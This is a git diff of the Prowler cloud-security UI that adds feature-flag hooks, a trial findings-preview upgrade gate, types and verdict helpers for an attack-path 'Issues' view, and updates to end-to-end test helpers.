diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/node-visuals.test.ts b/ui/lib/attack-paths/node-visuals.test.ts
similarity index 99%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/node-visuals.test.ts
rename to ui/lib/attack-paths/node-visuals.test.ts
index 48790f29e7..7527feef99 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/node-visuals.test.ts
+++ b/ui/lib/attack-paths/node-visuals.test.ts
@@ -33,10 +33,12 @@ import {
AWSIAMIcon,
AWSLambdaIcon,
} from "@/components/icons/services/IconServices";
+import {
+ NODE_CATEGORY,
+ resolveNodeVisual,
+} from "@/lib/attack-paths/node-visuals";
import type { GraphNode } from "@/types/attack-paths";
-import { NODE_CATEGORY, resolveNodeVisual } from "./node-visuals";
-
const buildNode = (labels: string[], properties = {}): GraphNode => ({
id: labels[0] ?? "unknown-node",
labels,
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/node-visuals.ts b/ui/lib/attack-paths/node-visuals.ts
similarity index 98%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/node-visuals.ts
rename to ui/lib/attack-paths/node-visuals.ts
index e291855737..b81cfd2894 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_lib/node-visuals.ts
+++ b/ui/lib/attack-paths/node-visuals.ts
@@ -46,11 +46,10 @@ import {
AWSIAMIcon,
AWSLambdaIcon,
} from "@/components/icons/services/IconServices";
+import { formatNodeLabel } from "@/lib/attack-paths/format";
+import { isProwlerFindingLabel } from "@/lib/attack-paths/node-types";
import type { GraphNode, GraphNodePropertyValue } from "@/types/attack-paths";
-import { formatNodeLabel } from "./format";
-import { isProwlerFindingLabel } from "./node-types";
-
export const NODE_CATEGORY = {
FINDING: "finding",
INTERNET: "internet",
diff --git a/ui/lib/cloud-upgrade.test.ts b/ui/lib/cloud-upgrade.test.ts
index 5b762eb514..417b51fc3a 100644
--- a/ui/lib/cloud-upgrade.test.ts
+++ b/ui/lib/cloud-upgrade.test.ts
@@ -1,12 +1,18 @@
import { describe, expect, it } from "vitest";
-import { CLOUD_UPGRADE_FEATURE } from "@/types/cloud-upgrade";
+import {
+ CLOUD_UPGRADE_FEATURE,
+ PAID_PLAN_UPGRADE_FEATURE,
+} from "@/types/cloud-upgrade";
import {
CLOUD_UPGRADE_CONTENT,
CLOUD_UPGRADE_FOOTER_NOTE,
getCloudUpgradeCompareUrl,
getCloudUpgradePrimaryUrl,
+ getPaidPlanUpgradeBillingHref,
+ isPaidPlanUpgradeFeature,
+ PAID_PLAN_UPGRADE_CONTENT,
} from "./cloud-upgrade";
describe("cloud upgrade content", () => {
@@ -90,3 +96,19 @@ describe("cloud upgrade URLs", () => {
expect(url.searchParams.get("utm_content")).toBe(contentSlug);
});
});
+
+describe("paid plan upgrade content", () => {
+ it("sends the findings preview upgrade to billing with its feature", () => {
+ // Given / When / Then
+ expect(
+ isPaidPlanUpgradeFeature(PAID_PLAN_UPGRADE_FEATURE.FINDINGS_PREVIEW),
+ ).toBe(true);
+ expect(
+ getPaidPlanUpgradeBillingHref(PAID_PLAN_UPGRADE_FEATURE.FINDINGS_PREVIEW),
+ ).toBe("/billing?feature=findings_preview");
+ expect(
+ PAID_PLAN_UPGRADE_CONTENT[PAID_PLAN_UPGRADE_FEATURE.FINDINGS_PREVIEW]
+ .title,
+ ).toBe("See Every Finding in Your Account");
+ });
+});
diff --git a/ui/lib/cloud-upgrade.ts b/ui/lib/cloud-upgrade.ts
index 3f4c3bbb49..f21e19c82e 100644
--- a/ui/lib/cloud-upgrade.ts
+++ b/ui/lib/cloud-upgrade.ts
@@ -7,6 +7,8 @@ import {
} from "@/types/cloud-upgrade";
import { MAX_SAML_ADDITIONAL_EMAIL_DOMAINS } from "@/types/saml";
+import { FINDINGS_PREVIEW_ROW_LIMIT } from "./findings-access";
+
interface CloudUpgradeContent {
title: string;
description: string;
@@ -215,11 +217,22 @@ export const PAID_PLAN_UPGRADE_ADMIN_NOTE =
const CLOUD_UTM_SOURCE = "prowler-cloud";
const PAID_PLAN_UPGRADE_UTM_CONTENT = {
+ [PAID_PLAN_UPGRADE_FEATURE.FINDINGS_PREVIEW]: "findings-preview",
[PAID_PLAN_UPGRADE_FEATURE.REGISTRY]: "registry",
[PAID_PLAN_UPGRADE_FEATURE.REPORT_DOWNLOAD]: "report-download",
} as const satisfies Record;
export const PAID_PLAN_UPGRADE_CONTENT = {
+ [PAID_PLAN_UPGRADE_FEATURE.FINDINGS_PREVIEW]: {
+ title: "See Every Finding in Your Account",
+ description: `Trial accounts preview the ${FINDINGS_PREVIEW_ROW_LIMIT} most critical finding groups. Paid plans unlock the full list.`,
+ benefits: [
+ "Browse, sort, and page through every finding group",
+ "Drill into each affected resource across all your providers",
+ "Download reports and compliance evidence for the full scan",
+ ],
+ primaryCta: "Upgrade to See All Findings",
+ },
[PAID_PLAN_UPGRADE_FEATURE.REGISTRY]: {
title: "Unlock Prowler Registry",
description: "Prowler Registry is included in paid plans.",
diff --git a/ui/lib/feature-flags/client.test.ts b/ui/lib/feature-flags/client.test.ts
new file mode 100644
index 0000000000..3591a68a5c
--- /dev/null
+++ b/ui/lib/feature-flags/client.test.ts
@@ -0,0 +1,78 @@
+import { renderHook } from "@testing-library/react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const { useFeatureFlagEnabledMock } = vi.hoisted(() => ({
+ useFeatureFlagEnabledMock: vi.fn(),
+}));
+
+vi.mock("posthog-js/react", () => ({
+ useFeatureFlagEnabled: useFeatureFlagEnabledMock,
+}));
+
+import { useFeatureFlag, useFeatureFlagState } from "./client";
+import { FEATURE_FLAG, FEATURE_FLAG_STATE } from "./shared";
+
+describe("useFeatureFlagState", () => {
+ beforeEach(() => {
+ useFeatureFlagEnabledMock.mockReset();
+ });
+
+ it("should pass the flag key through to PostHog", () => {
+ useFeatureFlagEnabledMock.mockReturnValue(undefined);
+
+ renderHook(() => useFeatureFlagState(FEATURE_FLAG.ISSUES));
+
+ expect(useFeatureFlagEnabledMock).toHaveBeenCalledWith("issues-feature");
+ });
+
+ it.each([
+ ["on", true, FEATURE_FLAG_STATE.ON],
+ ["off", false, FEATURE_FLAG_STATE.OFF],
+ [
+ "pending (not initialized or still loading)",
+ undefined,
+ FEATURE_FLAG_STATE.PENDING,
+ ],
+ ])("should report %s", (_label, flagValue, expected) => {
+ useFeatureFlagEnabledMock.mockReturnValue(flagValue);
+
+ const { result } = renderHook(() =>
+ useFeatureFlagState(FEATURE_FLAG.ISSUES),
+ );
+
+ expect(result.current).toBe(expected);
+ });
+});
+
+describe("useFeatureFlag", () => {
+ beforeEach(() => {
+ useFeatureFlagEnabledMock.mockReset();
+ });
+
+ it("should pass the flag key through to PostHog", () => {
+ useFeatureFlagEnabledMock.mockReturnValue(undefined);
+
+ renderHook(() => useFeatureFlag(FEATURE_FLAG.ISSUES));
+
+ expect(useFeatureFlagEnabledMock).toHaveBeenCalledWith("issues-feature");
+ });
+
+ it("should return true when the flag is enabled", () => {
+ useFeatureFlagEnabledMock.mockReturnValue(true);
+
+ const { result } = renderHook(() => useFeatureFlag(FEATURE_FLAG.ISSUES));
+
+ expect(result.current).toBe(true);
+ });
+
+ it.each([
+ ["disabled", false],
+ ["unresolved (PostHog not initialized or still loading)", undefined],
+ ])("should return false when the flag is %s", (_label, flagValue) => {
+ useFeatureFlagEnabledMock.mockReturnValue(flagValue);
+
+ const { result } = renderHook(() => useFeatureFlag(FEATURE_FLAG.ISSUES));
+
+ expect(result.current).toBe(false);
+ });
+});
diff --git a/ui/lib/feature-flags/client.ts b/ui/lib/feature-flags/client.ts
new file mode 100644
index 0000000000..2c737d1f18
--- /dev/null
+++ b/ui/lib/feature-flags/client.ts
@@ -0,0 +1,30 @@
+"use client";
+
+import { useFeatureFlagEnabled } from "posthog-js/react";
+
+import {
+ FEATURE_FLAG_STATE,
+ type FeatureFlag,
+ type FeatureFlagState,
+} from "./shared";
+
+// The only place in ui/ that imports posthog-js/react's flag hooks, so
+// swapping the flag provider later is a one-file change. The hooks read the
+// global posthog singleton from posthog-js/react's default context and need
+// no provider here: whoever initializes PostHog (the cloud fork) feeds them.
+// OSS builds that never init PostHog resolve every read to its fallback.
+
+// Boolean flag with its resolution state. PostHog reports `undefined` until
+// the flags request lands (or forever when it was never initialized), `true`
+// or `false` afterwards; a flag missing from the project resolves to OFF.
+export function useFeatureFlagState(flag: FeatureFlag): FeatureFlagState {
+ const value = useFeatureFlagEnabled(flag);
+ if (value === undefined) return FEATURE_FLAG_STATE.PENDING;
+ return value ? FEATURE_FLAG_STATE.ON : FEATURE_FLAG_STATE.OFF;
+}
+
+// Boolean flag. Only a resolved `true` counts: pending, disabled PostHog and
+// a disabled flag all read as false.
+export function useFeatureFlag(flag: FeatureFlag): boolean {
+ return useFeatureFlagState(flag) === FEATURE_FLAG_STATE.ON;
+}
diff --git a/ui/lib/feature-flags/index.ts b/ui/lib/feature-flags/index.ts
new file mode 100644
index 0000000000..011f86c371
--- /dev/null
+++ b/ui/lib/feature-flags/index.ts
@@ -0,0 +1,2 @@
+export * from "./client";
+export * from "./shared";
diff --git a/ui/lib/feature-flags/shared.test.ts b/ui/lib/feature-flags/shared.test.ts
new file mode 100644
index 0000000000..39718fa72a
--- /dev/null
+++ b/ui/lib/feature-flags/shared.test.ts
@@ -0,0 +1,29 @@
+import { describe, expect, it } from "vitest";
+
+import { FEATURE_FLAG, FEATURE_FLAG_STATE } from "./shared";
+
+describe("FEATURE_FLAG", () => {
+ it("should map each flag to the key PostHog knows it by", () => {
+ expect(FEATURE_FLAG).toEqual({
+ ISSUES: "issues-feature",
+ BILLING_SYSTEM_METRONOME: "BILLING_SYSTEM_METRONOME",
+ FINDINGS_TRIAL_PREVIEW: "findings-trial-preview",
+ });
+ });
+
+ it("should not contain duplicate keys", () => {
+ const keys = Object.values(FEATURE_FLAG);
+
+ expect(new Set(keys).size).toBe(keys.length);
+ });
+});
+
+describe("FEATURE_FLAG_STATE", () => {
+ it("should distinguish the unresolved state from a resolved off", () => {
+ expect(FEATURE_FLAG_STATE).toEqual({
+ PENDING: "pending",
+ ON: "on",
+ OFF: "off",
+ });
+ });
+});
diff --git a/ui/lib/feature-flags/shared.ts b/ui/lib/feature-flags/shared.ts
new file mode 100644
index 0000000000..eb7e11684f
--- /dev/null
+++ b/ui/lib/feature-flags/shared.ts
@@ -0,0 +1,29 @@
+// Registry of every feature flag key the UI reads. Side-effect free and
+// SDK-agnostic so both client and server readers can import it. Every key
+// lives here, including the ones only the cloud fork reads, so the registry
+// never diverges between repos.
+export const FEATURE_FLAG = {
+ // Boolean flag gating the experimental Issues feature (contextual findings).
+ // Read by cloud only.
+ ISSUES: "issues-feature",
+ // Boolean flag evaluated server-side per tenant in cloud. When on, it pins
+ // the tenant to legacy billing; off or absent means the new Metronome system.
+ BILLING_SYSTEM_METRONOME: "BILLING_SYSTEM_METRONOME",
+ // Boolean flag evaluated server-side per tenant in cloud. When on, trial
+ // tenants only preview the most critical finding groups on /findings.
+ FINDINGS_TRIAL_PREVIEW: "findings-trial-preview",
+} as const;
+
+export type FeatureFlag = (typeof FEATURE_FLAG)[keyof typeof FEATURE_FLAG];
+
+// Resolution state of a boolean flag. PENDING covers both "flags still
+// loading" and "PostHog never initialized" (OSS builds): neither case can
+// tell whether the flag is on, so gates render neither branch yet.
+export const FEATURE_FLAG_STATE = {
+ PENDING: "pending",
+ ON: "on",
+ OFF: "off",
+} as const;
+
+export type FeatureFlagState =
+ (typeof FEATURE_FLAG_STATE)[keyof typeof FEATURE_FLAG_STATE];
diff --git a/ui/lib/findings-access.test.ts b/ui/lib/findings-access.test.ts
new file mode 100644
index 0000000000..7025550106
--- /dev/null
+++ b/ui/lib/findings-access.test.ts
@@ -0,0 +1,20 @@
+import { describe, expect, it } from "vitest";
+
+import {
+ FINDINGS_PREVIEW_ROW_LIMIT,
+ isFindingsPreviewLocked,
+} from "./findings-access";
+
+describe("findings access", () => {
+ it("never locks the findings preview on self-hosted deployments", async () => {
+ // Given / When
+ const locked = await isFindingsPreviewLocked();
+
+ // Then
+ expect(locked).toBe(false);
+ });
+
+ it("previews the ten most critical finding groups when locked", () => {
+ expect(FINDINGS_PREVIEW_ROW_LIMIT).toBe(10);
+ });
+});
diff --git a/ui/lib/findings-access.ts b/ui/lib/findings-access.ts
new file mode 100644
index 0000000000..20809a8051
--- /dev/null
+++ b/ui/lib/findings-access.ts
@@ -0,0 +1,10 @@
+/** Finding groups a locked tenant can read on /findings; the rest of the page renders blurred. */
+export const FINDINGS_PREVIEW_ROW_LIMIT = 10;
+
+/**
+ * Whether the current tenant only previews the most critical finding groups.
+ * Self-hosted deployments never lock the list; the Prowler Cloud overlay
+ * replaces this body with its billing and feature-flag lookup.
+ */
+export const isFindingsPreviewLocked = (): Promise =>
+ Promise.resolve(false);
diff --git a/ui/lib/issues/scope.ts b/ui/lib/issues/scope.ts
new file mode 100644
index 0000000000..f84a0dba5a
--- /dev/null
+++ b/ui/lib/issues/scope.ts
@@ -0,0 +1,27 @@
+import { SearchParamsProps } from "@/types";
+
+/** The overview's scope selectors that the issues endpoint also understands. */
+export const ISSUE_SCOPE_KEYS = [
+ "filter[provider_id__in]",
+ "filter[provider_type__in]",
+ "filter[provider_groups__in]",
+];
+
+export const pickIssueScope = (
+ params: SearchParamsProps | undefined | null,
+): Record =>
+ Object.fromEntries(
+ ISSUE_SCOPE_KEYS.flatMap((key) => {
+ const value = params?.[key];
+ return typeof value === "string" && value ? [[key, value]] : [];
+ }),
+ );
+
+/** The issues route, keeping the overview scope so the counts still match. */
+export const issuesHref = (
+ scope: Record,
+ extra: Record = {},
+) => {
+ const query = new URLSearchParams({ ...scope, ...extra }).toString();
+ return query ? `/issues?${query}` : "/issues";
+};
diff --git a/ui/lib/issues/verdicts.test.ts b/ui/lib/issues/verdicts.test.ts
new file mode 100644
index 0000000000..897a5d1134
--- /dev/null
+++ b/ui/lib/issues/verdicts.test.ts
@@ -0,0 +1,43 @@
+import { describe, expect, it } from "vitest";
+
+import { verdictCounts } from "@/lib/issues/verdicts";
+
+describe("verdictCounts", () => {
+ it("keeps every verdict count and drops the summary totals", () => {
+ const summary = {
+ exploitable: 3,
+ likely: 2,
+ conditional: 1,
+ not_exploitable: 4,
+ unknown: 5,
+ issues: 15,
+ findings: 40,
+ actionable: 6,
+ };
+
+ expect(verdictCounts(summary)).toEqual({
+ exploitable: 3,
+ likely: 2,
+ conditional: 1,
+ not_exploitable: 4,
+ unknown: 5,
+ });
+ });
+
+ it("zeroes verdicts missing from a partial or absent summary", () => {
+ expect(verdictCounts({ likely: 2 })).toEqual({
+ exploitable: 0,
+ likely: 2,
+ conditional: 0,
+ not_exploitable: 0,
+ unknown: 0,
+ });
+ expect(verdictCounts(undefined)).toEqual({
+ exploitable: 0,
+ likely: 0,
+ conditional: 0,
+ not_exploitable: 0,
+ unknown: 0,
+ });
+ });
+});
diff --git a/ui/lib/issues/verdicts.ts b/ui/lib/issues/verdicts.ts
new file mode 100644
index 0000000000..de26688096
--- /dev/null
+++ b/ui/lib/issues/verdicts.ts
@@ -0,0 +1,77 @@
+import { ComponentProps } from "react";
+
+import { Badge } from "@/components/shadcn/badge/badge";
+import { LegName, LegState, Verdict } from "@/types/issues";
+
+/** The colour family a verdict reads in, shared by the overview card and the tabs. */
+export const VERDICT_TONE = {
+ fail: "fail",
+ warning: "warning",
+ pass: "pass",
+ neutral: "neutral",
+} as const;
+
+export type VerdictTone = (typeof VERDICT_TONE)[keyof typeof VERDICT_TONE];
+
+interface VerdictDisplay {
+ id: Verdict;
+ label: string;
+ variant: ComponentProps["variant"];
+ tone: VerdictTone;
+}
+
+export const VERDICTS: VerdictDisplay[] = [
+ {
+ id: "exploitable",
+ label: "Exploitable",
+ variant: "error",
+ tone: VERDICT_TONE.fail,
+ },
+ { id: "likely", label: "Likely", variant: "error", tone: VERDICT_TONE.fail },
+ {
+ id: "conditional",
+ label: "Conditional",
+ variant: "outline",
+ tone: VERDICT_TONE.warning,
+ },
+ {
+ id: "not_exploitable",
+ label: "Not exploitable",
+ variant: "success",
+ tone: VERDICT_TONE.pass,
+ },
+ {
+ id: "unknown",
+ label: "Unknown",
+ variant: "tag",
+ tone: VERDICT_TONE.neutral,
+ },
+];
+
+const LEG_GOOD_WHEN_YES: Record = {
+ reachability: false,
+ access: false,
+ target: false,
+ controls: true,
+ verification: true,
+};
+
+export const legBadgeVariant = (
+ leg: LegName,
+ state: LegState,
+): ComponentProps["variant"] => {
+ if (state === "unknown") return "tag";
+ if (state === "partial") return "outline";
+ return (state === "yes") === LEG_GOOD_WHEN_YES[leg] ? "success" : "error";
+};
+
+/** Per-verdict counts from a summary payload, zero where the API sent none. */
+export const verdictCounts = (
+ attributes: Partial> | undefined,
+): Record => ({
+ exploitable: attributes?.exploitable ?? 0,
+ likely: attributes?.likely ?? 0,
+ conditional: attributes?.conditional ?? 0,
+ not_exploitable: attributes?.not_exploitable ?? 0,
+ unknown: attributes?.unknown ?? 0,
+});
diff --git a/ui/lib/schedules.test.ts b/ui/lib/schedules.test.ts
index da4a895fc6..8430d66d50 100644
--- a/ui/lib/schedules.test.ts
+++ b/ui/lib/schedules.test.ts
@@ -13,6 +13,7 @@ import {
getScanScheduleCapability,
getScheduleFormDefaults,
getScheduleFormValues,
+ getSetupScheduleFormDefaults,
isScheduleConfigured,
parseSchedulesBulkResult,
} from "@/lib/schedules";
@@ -219,6 +220,18 @@ describe("getScheduleFormDefaults", () => {
});
});
+describe("getSetupScheduleFormDefaults", () => {
+ it("keeps the schedule defaults but ticks the initial scan", () => {
+ const now = new Date(2026, 5, 10, 10, 30, 0, 0);
+
+ expect(getSetupScheduleFormDefaults(now)).toEqual({
+ ...getScheduleFormDefaults(now),
+ launchInitialScan: true,
+ });
+ expect(getScheduleFormDefaults(now).launchInitialScan).toBe(false);
+ });
+});
+
describe("getScheduleFormValues", () => {
const buildAttributes = (
overrides: Partial = {},
diff --git a/ui/lib/schedules.ts b/ui/lib/schedules.ts
index 6ac7a9407e..0b707f9a4a 100644
--- a/ui/lib/schedules.ts
+++ b/ui/lib/schedules.ts
@@ -107,6 +107,13 @@ export function getScheduleFormDefaults(now = new Date()): ScheduleFormValues {
};
}
+/** Post-setup launch steps tick "launch an initial scan now" by default. */
+export function getSetupScheduleFormDefaults(
+ now = new Date(),
+): ScheduleFormValues {
+ return { ...getScheduleFormDefaults(now), launchInitialScan: true };
+}
+
export function getScheduleFormValues(
schedule?: ScheduleAttributes | null,
now = new Date(),
diff --git a/ui/lib/yaml.ts b/ui/lib/yaml.ts
index 35146564c5..6b99b9e797 100644
--- a/ui/lib/yaml.ts
+++ b/ui/lib/yaml.ts
@@ -288,7 +288,7 @@ aws:
azure:
defender_attack_path_minimal_risk_level: "High"
- php_latest_version: "8.2"
+ php_latest_version: "8.5"
python_latest_version: "3.12"
java_latest_version: "17"
vm_backup_min_daily_retention_days: 7
diff --git a/ui/tests/base-page.ts b/ui/tests/base-page.ts
index 0f55c3deea..480f5d4b2f 100644
--- a/ui/tests/base-page.ts
+++ b/ui/tests/base-page.ts
@@ -38,6 +38,26 @@ export abstract class BasePage {
await this.page.reload();
}
+ /**
+ * An empty tenant redirects each fresh browser context to the add-provider
+ * wizard once. Suites expect a plain landing, so mark that first run as done
+ * with the browser-wide key (the per-tenant one is only written by the app).
+ * Written right away when the page is already on an app origin, and
+ * registered as an init script for every later document load, whatever the
+ * origin: localStorage is per origin and the Registry fixture profiles serve
+ * the app from several ports. sign-up.spec covers the redirect itself with a
+ * brand-new tenant.
+ */
+ async skipFirstRunRedirect(): Promise {
+ const markHandled = () => {
+ window.localStorage.setItem("prowler.onboarding.first-run", "true");
+ };
+ await this.page.addInitScript(markHandled);
+ if (/^https?:/.test(this.page.url())) {
+ await this.page.evaluate(markHandled);
+ }
+ }
+
async goBack(): Promise {
await this.page.goBack();
}
diff --git a/ui/tests/providers/providers-page.ts b/ui/tests/providers/providers-page.ts
index da52041e0d..cb245862dc 100644
--- a/ui/tests/providers/providers-page.ts
+++ b/ui/tests/providers/providers-page.ts
@@ -720,11 +720,24 @@ export class ProvidersPage extends BasePage {
).toBeVisible({ timeout: 10000 });
}
- // The admin role comes preselected; only the email is needed.
- async sendTeammateInvitation(email: string): Promise {
+ // The form preselects a role only when the tenant has one named exactly
+ // "admin"; the E2E tenant's is "e2e_admin", so pick the role explicitly.
+ async sendTeammateInvitation(
+ email: string,
+ rolePattern: RegExp = /admin/i,
+ ): Promise {
await this.wizardModal
.getByRole("textbox", { name: /Teammate email/i })
.fill(email);
+ // Radix Select: the trigger is a combobox and its options render in a portal.
+ const roleSelect = this.wizardModal.getByRole("combobox", {
+ name: "Select a role",
+ });
+ await roleSelect.click();
+ const option = this.page.getByRole("option", { name: rolePattern }).first();
+ await expect(option).toBeVisible({ timeout: 10000 });
+ await option.click();
+ await expect(roleSelect).not.toContainText("Select a role");
const send = this.page.getByRole("button", {
name: "Send invitation",
exact: true,
diff --git a/ui/tests/providers/providers.md b/ui/tests/providers/providers.md
index 53ba05f1f9..856a565552 100644
--- a/ui/tests/providers/providers.md
+++ b/ui/tests/providers/providers.md
@@ -1101,7 +1101,7 @@
2. Click "Add Provider" button
3. Select AWS provider type
4. Select the "I don't have access, invite a teammate" option
-5. Fill the teammate email (the admin role comes preselected)
+5. Fill the teammate email and pick a role that can manage providers (the form preselects one only when the tenant has a role named exactly `admin`; the E2E tenant's is `e2e_admin`)
6. Click "Send invitation"
7. Verify the confirmation and the invitation link
8. Click "Done"
@@ -1115,7 +1115,7 @@
### Key verification points
- The invite option is visible on the AWS step for the admin user
-- "Send invitation" is enabled once a valid email is typed
+- "Send invitation" is enabled once a valid email is typed and a role is selected
- Confirmation text "Invitation sent to {email}" is visible
- The accept link contains `/invitation/accept?invitation_token=`
- The wizard modal is closed after "Done"
diff --git a/ui/tests/registry/registry.spec.ts b/ui/tests/registry/registry.spec.ts
index a99617ba9b..f5e3d2d0cf 100644
--- a/ui/tests/registry/registry.spec.ts
+++ b/ui/tests/registry/registry.spec.ts
@@ -28,6 +28,9 @@ test.describe.serial("Registry", () => {
!fixtureMode,
"Registry browser acceptance is available only through the self-contained fixture profile.",
);
+ // The saved manager state carries the first-run marker for the enabled
+ // profile's origin only; the flag-off and Local profiles serve other ports.
+ await new RegistryPage(page).skipFirstRunRedirect();
await controlledRegistryFixture.reset();
// Exercise the real media CSP without contacting the Registry service.
await page.route(
diff --git a/ui/tests/sign-in-base/sign-in-base-page.ts b/ui/tests/sign-in-base/sign-in-base-page.ts
index 799841f68a..e7065fcbd1 100644
--- a/ui/tests/sign-in-base/sign-in-base-page.ts
+++ b/ui/tests/sign-in-base/sign-in-base-page.ts
@@ -198,6 +198,9 @@ export class SignInPage extends BasePage {
*/
async loginAndVerify(credentials: SignInCredentials): Promise {
await this.goto();
+ // Like the auth setups: the E2E tenant owns no providers, so a fresh
+ // context would otherwise land on the add-provider wizard, not Overview.
+ await this.skipFirstRunRedirect();
await this.login(credentials);
await this.verifySuccessfulLogin();
}
@@ -401,17 +404,4 @@ export class SignInPage extends BasePage {
await this.verifySuccessfulLogin();
await this.page.context().storageState({ path: storagePath });
}
-
- /**
- * An empty tenant redirects each fresh browser context to the add-provider
- * wizard once. Suites expect a plain landing, so mark that first run as done
- * with the browser-wide key (the per-tenant one is only written by the app)
- * before signing in; sign-up.spec covers the redirect itself with a brand-new
- * tenant. Call it on a page already on the app origin.
- */
- async skipFirstRunRedirect(): Promise {
- await this.page.evaluate(() => {
- window.localStorage.setItem("prowler.onboarding.first-run", "true");
- });
- }
}
diff --git a/ui/types/cloud-upgrade.ts b/ui/types/cloud-upgrade.ts
index e612f72f3e..e7b860a8d5 100644
--- a/ui/types/cloud-upgrade.ts
+++ b/ui/types/cloud-upgrade.ts
@@ -19,6 +19,7 @@ export type CloudUpgradeFeature =
// Prowler Cloud features gated behind a paid plan.
export const PAID_PLAN_UPGRADE_FEATURE = {
+ FINDINGS_PREVIEW: "findings_preview",
REGISTRY: "registry",
REPORT_DOWNLOAD: "report_download",
} as const;
diff --git a/ui/types/issues.ts b/ui/types/issues.ts
new file mode 100644
index 0000000000..a5e757368e
--- /dev/null
+++ b/ui/types/issues.ts
@@ -0,0 +1,135 @@
+import { MetaDataProps } from "@/types";
+import { Severity } from "@/types/components";
+import { ProviderType } from "@/types/providers";
+
+/** An issue is a group of findings folded along one attack path. */
+export const VERDICT = {
+ EXPLOITABLE: "exploitable",
+ LIKELY: "likely",
+ CONDITIONAL: "conditional",
+ NOT_EXPLOITABLE: "not_exploitable",
+ UNKNOWN: "unknown",
+} as const;
+
+export type Verdict = (typeof VERDICT)[keyof typeof VERDICT];
+
+/** The five legs of an attack path, each asked separately. */
+export const LEG_NAME = {
+ REACHABILITY: "reachability",
+ ACCESS: "access",
+ TARGET: "target",
+ CONTROLS: "controls",
+ VERIFICATION: "verification",
+} as const;
+
+export type LegName = (typeof LEG_NAME)[keyof typeof LEG_NAME];
+
+export const LEG_STATE = {
+ YES: "yes",
+ NO: "no",
+ PARTIAL: "partial",
+ UNKNOWN: "unknown",
+} as const;
+
+export type LegState = (typeof LEG_STATE)[keyof typeof LEG_STATE];
+
+export interface LegAssessment {
+ state: LegState;
+ text: string;
+ /** Check ids and resources the leg is drawn from, so a reader can disagree. */
+ evidence: string[];
+}
+
+export interface IssueAttributes {
+ pattern: string;
+ cloud: ProviderType;
+ account: string;
+ title: string;
+ verdict: Verdict;
+ severity: Severity;
+ legs: Record;
+ fix: string;
+ findings_count: number;
+ inserted_at: string;
+ updated_at: string;
+}
+
+/**
+ * Only the detail carries the uid lists: an unmodelled issue can fold tens of
+ * thousands of findings, too many to ship with every page of the list.
+ */
+export interface IssueDetailAttributes extends IssueAttributes {
+ finding_uids: string[];
+ resource_uids: string[];
+}
+
+/** Maximum findings loaded for the graph preview, independently of its resource limit. */
+export const ISSUE_FINDINGS_LIMIT = 50;
+
+/** One finding-to-resource association from the issue's own scan. */
+export interface IssueFinding {
+ id: string;
+ checkId: string;
+ checkTitle: string;
+ severity: Severity;
+ resourceUid: string;
+}
+
+export const ISSUE_RELATIONSHIP_TYPE = {
+ PROVIDERS: "providers",
+ SCANS: "scans",
+} as const;
+
+export type IssueRelationshipType =
+ (typeof ISSUE_RELATIONSHIP_TYPE)[keyof typeof ISSUE_RELATIONSHIP_TYPE];
+
+export interface IssueRelationshipData {
+ type: IssueRelationshipType;
+ id: string;
+}
+
+export interface IssueRelationship {
+ data: IssueRelationshipData | null;
+}
+
+export interface IssueRelationships {
+ provider?: IssueRelationship;
+ scan?: IssueRelationship;
+}
+
+export interface IssueResource {
+ type: "issues";
+ id: string;
+ attributes: IssueAttributes;
+ relationships?: IssueRelationships;
+}
+
+export interface IssueDetailResource extends IssueResource {
+ attributes: IssueDetailAttributes;
+}
+
+export interface IssueResponse {
+ data: IssueResource[];
+ meta?: MetaDataProps;
+}
+
+export interface IssueDetailResponse {
+ data: IssueDetailResource;
+}
+
+export interface IssuesOverviewAttributes extends Record {
+ issues: number;
+ findings: number;
+ actionable: number;
+ not_exploitable_findings: number;
+}
+
+export interface IssuesOverviewResource {
+ type: "issues-overview";
+ id?: string;
+ attributes: IssuesOverviewAttributes;
+}
+
+export interface IssuesOverviewResponse {
+ data: IssuesOverviewResource;
+}
diff --git a/ui/types/lighthouse-skills.ts b/ui/types/lighthouse-skills.ts
index e4252829d1..8121ed02b6 100644
--- a/ui/types/lighthouse-skills.ts
+++ b/ui/types/lighthouse-skills.ts
@@ -1,17 +1,5 @@
import type { LucideIcon } from "lucide-react";
-// PostHog multivariate flag deciding which skill launcher the finding detail
-// drawer renders. Anything other than "dropdown" falls back to the card control.
-export const SKILL_LAUNCHER_FLAG = "finding-detail-skill-launcher";
-
-export const SKILL_LAUNCHER_VARIANT = {
- CARD: "card",
- DROPDOWN: "dropdown",
-} as const;
-
-export type SkillLauncherVariant =
- (typeof SKILL_LAUNCHER_VARIANT)[keyof typeof SKILL_LAUNCHER_VARIANT];
-
export const LIGHTHOUSE_SKILL_ID = {
CONTEXTUAL_FIX: "contextual-fix",
TRIAGE_DECISION: "triage-decision",
diff --git a/ui/vitest.config.ts b/ui/vitest.config.ts
index d4485dc474..86d168a90e 100644
--- a/ui/vitest.config.ts
+++ b/ui/vitest.config.ts
@@ -96,7 +96,9 @@ export default defineConfig(() => {
// vertically and ends up overlapping the graph, so Playwright
// can't click nodes. Use a standard desktop viewport.
viewport: { width: 1280, height: 800 },
- provider: playwright(),
+ // Playwright waits forever for an actionable element by default;
+ // fail inside the test budget so the log names the blocker.
+ provider: playwright({ actionTimeout: 10_000 }),
headless: true,
instances: [{ browser: "chromium" }],
},
diff --git a/ui/vitest.setup.ts b/ui/vitest.setup.ts
index 2cc2aa8a8a..e71e41c8dd 100644
--- a/ui/vitest.setup.ts
+++ b/ui/vitest.setup.ts
@@ -77,6 +77,8 @@ if (!Range.prototype.getBoundingClientRect) {
}
class MockResizeObserver implements ResizeObserver {
+ // Same signature as the real constructor; the callback never fires in jsdom.
+ constructor(_callback: ResizeObserverCallback) {}
observe() {}
unobserve() {}
disconnect() {}
diff --git a/uv.lock b/uv.lock
index 708037699c..fe0814f29f 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1,5 +1,5 @@
version = 1
-revision = 3
+revision = 2
requires-python = ">=3.10, <3.14"
resolution-markers = [
"python_full_version >= '3.13'",
@@ -14,7 +14,7 @@ constraints = [
{ name = "aenum", specifier = "==3.1.17" },
{ name = "aiofiles", specifier = "==24.1.0" },
{ name = "aiohappyeyeballs", specifier = "==2.6.1" },
